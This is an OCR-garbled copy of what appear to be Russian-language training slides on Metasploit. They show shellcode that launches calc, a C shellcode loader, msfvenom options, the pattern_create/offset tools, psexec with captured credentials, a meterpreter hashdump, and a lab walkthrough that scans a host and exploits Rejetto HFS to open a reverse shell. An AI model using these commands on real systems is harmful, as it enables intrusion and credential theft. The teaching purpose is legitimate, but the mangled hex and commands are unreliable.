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Npumep shell koaa OTUS

Koa 3a NyCKa KalJibKyJiATOpa

char shellcode[] =

"\ xA7\xFo\ x93\ x9ob\x58 \ xof \x4a\xf5\x5a\xf5\x16 \x48\ xad\x5b"
"\xF8\xfd\x52\x99\x06\ x50 \xdo\xcc\xbe\x56\x6c\xdf\xb1\xdo"
"\x7A\x24\xTA\Xx5T\x2b\xc9\xb1\x31\x31\x77 \x18\x83\xef\xfc"
"\x03\x77\x42\x8e\x2a\x4d\x82 \xcc\xd5\xae\ x52\xb1\x5c\x4b"
"\x63\xF1\x3b\x1f\xd3\xc1\x48\xad \xdf\xaa\x1d\x66\x54\xde"
"\x89\x89\xdd\x55\xec\xad\xde\xco\xcc\xa7\x5c\x15\x01\x08"
"\x5d\xde\x54\x49\x9a\x0b\x94\x1b\x723\x47\xeb\x8c\xfe\x1d"
"\x90\x27\x4a\xb3\x90\xd4a\x1a\xb2\xb1l\x4a\x11\xed\x11\x6c"
"\ xfe\x85\x1b\x76\x1b\xa3\xd2\xed\xef\ x5 \xe5 \xc7\x3e\xof"
"\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xel\x86\x44\x30\xf2\x5c"
"\x37\xee\x77\x47\x9f\x65 \x2f\xa3\x1le\xa9\xbe\x20\x2c\x06"
"\ xbc\x6Tt\x30\ x99 \x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf"
"\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\xda\x46 \xc1\xfb\xof"
"\xTb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xae®\x33"
"\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xde\x26\x07"
"\x79\x0c\x64\x3e\xfa\xas \x14\xc5\xe2\xcf\x11\x81\xada\x3c"
"\ x6b\x0a\ x40\ x43\xd8\ x9b\ x40\ x20 \xbf\xef \x08\x80\ x5a\xag"
"\xab\xd5";




OCHOBHbIEe KOMaHAbI



OcHOBHbIE KOMaHAbl

use
Back
Show
Set
Run/exploit
Info
Search

Check

sessions

BbibpaTb Mogynb/HA4YMHKY

lMepexopn B Hayano
BbiBOA cnvcka mogynen/onuun
YcTaHOBKa 3Ha4YeHus
3anyck moagyns/akcnnonTa
BbiBOA, MHG OpMaumum
Mownck mogynsa
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aKkcnnomnTa

Cnuncok OTKPbITbIX ceccun
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l[eHepaTOp payloados



msfvenom

3ameHuna gea moaynbe: msfpayload n msfencode

:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse tcp LHOST=<IP> -f exe -o payload.exe

Options
-1, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
--payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
--format <format> Output format (use --list formats to list)
--encoder <encoder> The encoder to use (use --list encoders to list)
--5ec-name <value>  The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
--arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
--out <path> Save the payload to a file
--bad-chars <list> Characters to avoid example: '\x00\xff'
--nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
--space <length> The maximum size of the resulting payload
--encoder-space  <length> The maximum size of the encoded payload (defaults to the -s value)
--iterations <count>  The number of times to encode the payload
--add-code <path> Specify an additional win32 shellcode file to include
--template <path> Specify a custom executable file to use as a template
--keep Preserve the --template behaviour and inject the payload as a new thread
--var-name <value> Specify a custom variable name to use for certain output formats
--timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, © to disable)
--help Show this message
:'#I

Ob6si3ameribHble napamempsl: -p u -f




msfvenom

Buabl payloados

Windows/adduser
Windows/dns_txt_query_exec
windows/download_exec
windows/exec
windows/format_all_drives
windows/loadlibrary

windows/messagebox




msfvenom

Buabl payloados

Windows/adduser
Windows/dns_txt_query_exec
windows/download_exec
windows/exec
windows/format_all_drives

windows/loadlibrary

windows/messagebox

Y3HaeM napameTpbl ans payloada
msfvenom -p windows/exec --list-options




CreHepupyem shellcode ans 3anycka kanbkynartopa

:~# msfvenom -p windows/exec -f C cmd=calc.exe
[-]1 No platform was selected, choosing MsfT::Module::Platform::Windows from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 193 bytes
Final size of ¢ file: 835 bytes
unsigned char buf[] =
"\ xTc\xeB\x82\x00\ x00\x00\ x60\xB9\ xe5\x3 1\ xcO\ x64\ x8b\ x50\ x30"
"W xBbAX52\ X8\ XBb\ x52\x 14\ x8b\ x 72\ x28\ x0T\ xb7\ x4a\ x26\ x3 1\ xTT"
WA X3CAXBINXTAXO2A\ X2\ X200\ e I\ X T W X0\ X0 1\ X T\ Xxe2\ X T2\ x52"
"\x57WxBb\x52\x10\x8b\ x4a\ x3c\ xBb\ x4\ x11\xT8\xe3\ x48\x0 1\ xd1"
"\x51\x8b\x59\x20\x01\xd3\ x8b\x49\ x18\ xe3\ x3a\ x49\ x8b\x34\ x8b"
B xde X3 x TR xac\xc 1\ xc T\ x@d\ x0T\ xc T\ X388\ Xxed\ X753\ xTE\ x03"
" TdANXTBAXIDAXTd\ X2\ x 75\ xed \ x58\ x8b\ x58\ x24\ x0 1\ xd3\ x66\ x8b"
"\x0chx4b\x8b\x58\x1c\x01\xd3\xBb\ x04\ xBb\ x0 1\ xdO\ x89\ x44\ x 24"
"\x24\x5b\x5b\x61\ x50\ x5a\ x51\x T\ xe@\ x5\ x5\ x5a\ x8b\x12\ xeb"
"yxB8dix5dy x6a\x01\ xB8d\x85\ xb2\ x00\ x00\ x00\ x50 X658\ x31\ xBb\ x6T"
BTN T\ xd5\xbb\ xTO\xb5\ xa2\ x56\ x68%xab6\ x95\ xbd\ x9d\ xff\ xd5"
"\AICHXPB\XTC\x0a\ x80\ xTh\ xe®\ x75\x05\ xbb\ x47\ x 13\ x72\x6 T\ x6a"
"\NXOONXEINXTIAXdE\X63\ X6 1\ x6C\ X633\ x2e\ x65\ X7B\x65\x00" ;




Tectupyem

[Mporpamma Ha C

#include <Windows.h>

835
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LPVOID lpAlloc = VirtualAlloc(e, 4096,
memcpy(lpAlloc, shellcode, )5
(( (*)())1pAlloc)();

Adpec Process Environment Block rnonyyaemcs o [FS:0x30]




NHCTPpYMEHTbI

cd /usr/share/metasploit-framework/tools/exploit

: # 1s
egghunter.rb install msf apk.sh msu_finder.rb psexec.rb
exe2vba.rb java deserializer.rb nasm_shell.rb random_ compile c.rb
exe2vbs.rb jsobfu.rb pattern_create.rb reg.rb
extract msu.bat metasm_shell.rb pattern offset.rb wvirustotal.rb
find badchars.rb msf irb shell.rb pdf2xdp.rb
: #




Pattern_create

CKpunT, reHepupyrLLMIA CTPOKY U3 NOYTU YHUKaNbHbLIX NaTepHOB

usr/share/metasploit-framework/tools/exploit# ./pattern create.rb -h
Usage: msf-pattern create [options]
Example: msf-pattern create -1 50 -s ABC,def,123
Ad1Ad2Ad3AelAe2Ae3AT1AT2AT3Bd1Bd2Bd3Be1Be2Be3BT1BT

Options:
-1, --length <length> The length of the pattern
-5, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message

:/usr/share/metasploit-framework/tools/exploit# l




Pattern_create

pattern_create —| 100

‘ :/usr/share/metasploit-framework/tools/exploit# ./pattern create.rb -1
100
AaBAalAa2Aa3AadAaSAabAa7Aa8Aa9Ab0Ab1Ab2Ab3AD4ADSAD6AD7ADBADIACOACIAC2AC3AC4ACSAC
6AC7ACBACIAdOAd1Ad2A

:/usr/share/metasploit-framework/tools/exploit# I

AaOAalAa2A 4AabAa6Aa7Aa8Aa9Ab0Ab1Ab2AD3AD4ADSADGA
b7Ab8Ab9ACOACIAC2ACc3AcC4ACS5AC6AC7ACSBACOAdOAdIAdZA




pattern_offset

pattern_offset -h

1 :/usr/share/metasploit-framework/tools/exploit# ./pattern offset.rb -h
Usage: msf-pattern offset [options]
Example: msf-pattern offset -q Aa3A
[*] Exact match at offset 9

l

%Options:

-q, --query Aa@A Query to Locate

-1, --length <length> The length of the pattern

-5, --sets <ABC,def,123> Custom Pattern Sets

-h, --help Show this message
:/usr/share/metasploit-framework/tools/exploit# I

AaOAalAa2A 4AabAa6Aa7Aa8Aa9Ab0Ab1Ab2AD3AD4ADSADGA
b7Ab8Ab9ACOACIAC2ACc3AcC4ACS5AC6AC7ACSBACOAdOAdIAdZA




pattern_offset

pattern_offset —q

hare/metasploit-framework/tools/exploit# ./pattern offset.rb -q a3Aa -1 100

[¥] Exact match at offset 10

etasploit-Tramework/tool

AaOAalAa2A 4AabAa6Aa7Aa8Aa9Ab0Ab1Ab2AD3AD4ADSADGA
b7Ab8Ab9ACOACIAC2ACc3AcC4ACS5AC6AC7ACSBACOAdOAdIAdZA







Mopaynb psexec

use
exploit/windows/smb/psexec

X

Set rhost XXX.XXX.XXX. XXX

.

Set smbuser admin

Set smbpass 1234

\

[MpoHMKaem Ha KOMPbLIOTEP, UCMNONb3ys 3abpy4YeHHble Kpeabl




Payload Meterpreter

[Mpmep gamMnuHra xewen

meterpreter > run post/windows/gather/hashdump

‘] Obtaining the boot key...

‘] Calculating the hboot key using SYSKEY 7al8705aa334db998al2c57ed957dabl. ..
] Obtaining the user list and keys...
‘]
‘]

*

X

Decrypting user keys...
Dumping password hints...

k
*

|
|
|
[
[

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe®d16ae931b73¢c59d7e0c089¢O: : :

Guest:501:aad3b435b51404eecaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0cO089cO: : :
Coen:1000:aad3b435b51404eceaad3b435b51404ee: T773c5db7ddebefadb0dae/ee8c50aea: : :




Bo3amoxkHocTu payloada

HekoTopble BO3MOXHOCTU

v" Murpauus B npouecc

v' ToBblLLUEHNE NPUBUNETNIA
v' Pexum kennorrepa

v' Pabota ¢ MMKpO(pOHOM

v’ Pabota ¢ web kamepowm
v' [lamn xeLuen
v [Mpobpoc noptoB




[IpaKTUKa



CKaHupyem xeptBy

nmap -sV -n 172.16.1.5

:~# nmap -sV -n 172.16.1.5
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 19:41 EDT
Nmap scan report for 172.16.1.5
Host is up (0.00023s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
135/tcp Open msrpc Microsott Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: OFFICE)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49175/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:CB:5D:8A (VMware)
Service Info: Host: MISHA-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.93 seconds
:~-#I




Mpobyem HaiiTK 3KcnAOUT B 6a3e meTacnsionTa

search httpfile

1864 exploits - 1059 auxiliary - 327 post
546 payloads - 44 encoders - 10 nops
2 evasion

+ -- =--
Lo oo
i e

n un n n

msf5 > search httpfile

Matching Modules

Name Disclosure Date Rank Check Description

msfs > |




Mpobusaem xepTBy

Mbl B cucteme!

> use exploit/windows/http/rejetto hfs exec

exploit( ) > set RHOST 172.16.1.5
T =>172.16.1.5

exploit( ) > exploit

#] Started reverse TCP handler on 172.16.1.7:4444
*] Using URL: http://0.0.0.0:8080/Rz8uc49Q3DaWs
¥] Local IP: http://172.16.1.7:8080/Rz8uc49Q3DaWs
*] Server started.
¥] Sending a malicious request to /
Payload request received: /Rz8uc49Q3DaWS
] Sending stage (179779 bytes) to 172.16.1.5
Meterpreter session 1 opened (172.16.1.7:4444 -> 172.16.1.5:49213) at 2019-03-16 19:45:54 -0400
Tried to delete %TEMP%\KWZaffPqkpwfD.vbs, unknown result
Server stopped.

meterpreter > |




Bonpocbi???
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